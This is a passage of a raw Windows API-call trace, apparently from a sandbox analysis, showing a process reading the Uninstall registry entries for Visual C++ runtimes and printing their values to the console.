CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.533] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.533] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.533] __iob_func () returned 0x7fefd702a80 [0150.533] _fileno (_File=0x7fefd702ab0) returned 1 [0150.533] _errno () returned 0x204bb0 [0150.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.533] _errno () returned 0x204bb0 [0150.533] GetFileType (hFile=0x50) returned 0x1 [0150.533] lstrlenW (lpString="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030") returned 61 [0150.533] GetConsoleOutputCP () returned 0x1b5 [0150.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0150.534] GetConsoleOutputCP () returned 0x1b5 [0150.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", cchWideChar=61, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpUsedDefaultChar=0x0) returned 61 [0150.534] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 61 [0150.534] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.534] __iob_func () returned 0x7fefd702a80 [0150.534] _fileno (_File=0x7fefd702ab0) returned 1 [0150.534] _errno () returned 0x204bb0 [0150.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.534] _errno () returned 0x204bb0 [0150.534] GetFileType (hFile=0x50) returned 0x1 [0150.534] lstrlenW (lpString="\n") returned 1 [0150.534] GetConsoleOutputCP () returned 0x1b5 [0150.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.534] GetConsoleOutputCP () returned 0x1b5 [0150.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.534] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.534] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.534] GetProcessHeap () returned 0x3c0000 [0150.534] GetProcessHeap () returned 0x3c0000 [0150.534] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.534] GetProcessHeap () returned 0x3c0000 [0150.534] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x80 [0150.534] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.535] __iob_func () returned 0x7fefd702a80 [0150.535] _fileno (_File=0x7fefd702ab0) returned 1 [0150.535] _errno () returned 0x204bb0 [0150.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.535] _errno () returned 0x204bb0 [0150.535] GetFileType (hFile=0x50) returned 0x1 [0150.535] lstrlenW (lpString="\n") returned 1 [0150.535] GetConsoleOutputCP () returned 0x1b5 [0150.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.535] GetConsoleOutputCP () returned 0x1b5 [0150.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.535] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.535] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.535] GetProcessHeap () returned 0x3c0000 [0150.535] GetProcessHeap () returned 0x3c0000 [0150.535] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.535] GetProcessHeap () returned 0x3c0000 [0150.535] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0150.535] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.535] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.535] GetProcessHeap () returned 0x3c0000 [0150.535] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0150.535] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}") returned 121 [0150.535] GetProcessHeap () returned 0x3c0000 [0150.535] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0150.535] GetProcessHeap () returned 0x3c0000 [0150.535] GetProcessHeap () returned 0x3c0000 [0150.535] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.535] GetProcessHeap () returned 0x3c0000 [0150.535] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0150.536] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.536] GetProcessHeap () returned 0x3c0000 [0150.536] GetProcessHeap () returned 0x3c0000 [0150.536] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.536] GetProcessHeap () returned 0x3c0000 [0150.536] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0150.536] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.536] RegCloseKey (hKey=0x5c) returned 0x0 [0150.536] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x21, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.536] __iob_func () returned 0x7fefd702a80 [0150.536] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.536] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}\n") returned 122 [0150.536] _fileno (_File=0x7fefd702ab0) returned 1 [0150.536] _errno () returned 0x204bb0 [0150.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.536] _errno () returned 0x204bb0 [0150.536] GetFileType (hFile=0x50) returned 0x1 [0150.536] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}\n") returned 122 [0150.536] GetConsoleOutputCP () returned 0x1b5 [0150.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0150.536] GetConsoleOutputCP () returned 0x1b5 [0150.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}\n", lpUsedDefaultChar=0x0) returned 122 [0150.536] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0150.536] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.536] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0150.537] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x19, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.537] GetProcessHeap () returned 0x3c0000 [0150.537] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0150.537] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.537] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.537] GetProcessHeap () returned 0x3c0000 [0150.537] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.537] GetProcessHeap () returned 0x3c0000 [0150.537] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.537] GetProcessHeap () returned 0x3c0000 [0150.537] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.537] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.537] __iob_func () returned 0x7fefd702a80 [0150.537] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.537] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.537] _fileno (_File=0x7fefd702ab0) returned 1 [0150.537] _errno () returned 0x204bb0 [0150.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.537] _errno () returned 0x204bb0 [0150.537] GetFileType (hFile=0x50) returned 0x1 [0150.537] lstrlenW (lpString=" ") returned 4 [0150.537] GetConsoleOutputCP () returned 0x1b5 [0150.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.537] GetConsoleOutputCP () returned 0x1b5 [0150.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.538] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.538] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.538] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.538] __iob_func () returned 0x7fefd702a80 [0150.538] _fileno (_File=0x7fefd702ab0) returned 1 [0150.538] _errno () returned 0x204bb0 [0150.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.538] _errno () returned 0x204bb0 [0150.538] GetFileType (hFile=0x50) returned 0x1 [0150.538] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.538] GetConsoleOutputCP () returned 0x1b5 [0150.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.538] GetConsoleOutputCP () returned 0x1b5 [0150.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0150.538] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0150.538] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.538] __iob_func () returned 0x7fefd702a80 [0150.538] _fileno (_File=0x7fefd702ab0) returned 1 [0150.538] _errno () returned 0x204bb0 [0150.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.538] _errno () returned 0x204bb0 [0150.538] GetFileType (hFile=0x50) returned 0x1 [0150.538] lstrlenW (lpString=" ") returned 4 [0150.538] GetConsoleOutputCP () returned 0x1b5 [0150.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.539] GetConsoleOutputCP () returned 0x1b5 [0150.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.539] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.539] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.539] __iob_func () returned 0x7fefd702a80 [0150.539] _fileno (_File=0x7fefd702ab0) returned 1 [0150.539] _errno () returned 0x204bb0 [0150.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.539] _errno () returned 0x204bb0 [0150.539] GetFileType (hFile=0x50) returned 0x1 [0150.539] lstrlenW (lpString="REG_SZ") returned 6 [0150.539] GetConsoleOutputCP () returned 0x1b5 [0150.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.539] GetConsoleOutputCP () returned 0x1b5 [0150.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.539] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.539] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.539] __iob_func () returned 0x7fefd702a80 [0150.539] _fileno (_File=0x7fefd702ab0) returned 1 [0150.539] _errno () returned 0x204bb0 [0150.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.540] _errno () returned 0x204bb0 [0150.540] GetFileType (hFile=0x50) returned 0x1 [0150.540] lstrlenW (lpString=" ") returned 4 [0150.540] GetConsoleOutputCP () returned 0x1b5 [0150.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.540] GetConsoleOutputCP () returned 0x1b5 [0150.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.540] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.540] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.540] __iob_func () returned 0x7fefd702a80 [0150.540] _fileno (_File=0x7fefd702ab0) returned 1 [0150.540] _errno () returned 0x204bb0 [0150.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.540] _errno () returned 0x204bb0 [0150.540] GetFileType (hFile=0x50) returned 0x1 [0150.540] lstrlenW (lpString="") returned 0 [0150.540] __iob_func () returned 0x7fefd702a80 [0150.540] _fileno (_File=0x7fefd702ab0) returned 1 [0150.540] _errno () returned 0x204bb0 [0150.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.540] _errno () returned 0x204bb0 [0150.540] GetFileType (hFile=0x50) returned 0x1 [0150.540] lstrlenW (lpString="\n") returned 1 [0150.540] GetConsoleOutputCP () returned 0x1b5 [0150.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.541] GetConsoleOutputCP () returned 0x1b5 [0150.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.541] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.541] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.541] GetProcessHeap () returned 0x3c0000 [0150.541] GetProcessHeap () returned 0x3c0000 [0150.541] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.541] GetProcessHeap () returned 0x3c0000 [0150.541] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.541] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.541] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.541] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x9c) returned 0x0 [0150.541] GetProcessHeap () returned 0x3c0000 [0150.541] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x9e) returned 0x3e1c70 [0150.541] GetProcessHeap () returned 0x3c0000 [0150.541] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.541] GetProcessHeap () returned 0x3c0000 [0150.541] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0150.541] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0x9c | out: pdwType=0x29f700*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x29f780*=0x9a) returned 0x0 [0150.541] __iob_func () returned 0x7fefd702a80 [0150.541] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.541] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.541] _fileno (_File=0x7fefd702ab0) returned 1 [0150.541] _errno () returned 0x204bb0 [0150.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.541] _errno () returned 0x204bb0 [0150.541] GetFileType (hFile=0x50) returned 0x1 [0150.541] lstrlenW (lpString=" ") returned 4 [0150.542] GetConsoleOutputCP () returned 0x1b5 [0150.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.542] GetConsoleOutputCP () returned 0x1b5 [0150.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.542] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.542] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.542] lstrlenW (lpString="Comments") returned 8 [0150.542] __iob_func () returned 0x7fefd702a80 [0150.542] _fileno (_File=0x7fefd702ab0) returned 1 [0150.542] _errno () returned 0x204bb0 [0150.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.542] _errno () returned 0x204bb0 [0150.542] GetFileType (hFile=0x50) returned 0x1 [0150.542] lstrlenW (lpString="Comments") returned 8 [0150.542] GetConsoleOutputCP () returned 0x1b5 [0150.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.542] GetConsoleOutputCP () returned 0x1b5 [0150.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0150.542] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.542] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.543] __iob_func () returned 0x7fefd702a80 [0150.543] _fileno (_File=0x7fefd702ab0) returned 1 [0150.543] _errno () returned 0x204bb0 [0150.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.543] _errno () returned 0x204bb0 [0150.543] GetFileType (hFile=0x50) returned 0x1 [0150.543] lstrlenW (lpString=" ") returned 4 [0150.543] GetConsoleOutputCP () returned 0x1b5 [0150.543] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.543] GetConsoleOutputCP () returned 0x1b5 [0150.543] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.543] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.543] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.543] __iob_func () returned 0x7fefd702a80 [0150.543] _fileno (_File=0x7fefd702ab0) returned 1 [0150.543] _errno () returned 0x204bb0 [0150.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.543] _errno () returned 0x204bb0 [0150.543] GetFileType (hFile=0x50) returned 0x1 [0150.543] lstrlenW (lpString="REG_SZ") returned 6 [0150.543] GetConsoleOutputCP () returned 0x1b5 [0150.543] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.543] GetConsoleOutputCP () returned 0x1b5 [0150.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.544] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.544] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.544] __iob_func () returned 0x7fefd702a80 [0150.544] _fileno (_File=0x7fefd702ab0) returned 1 [0150.544] _errno () returned 0x204bb0 [0150.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.544] _errno () returned 0x204bb0 [0150.544] GetFileType (hFile=0x50) returned 0x1 [0150.544] lstrlenW (lpString=" ") returned 4 [0150.544] GetConsoleOutputCP () returned 0x1b5 [0150.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 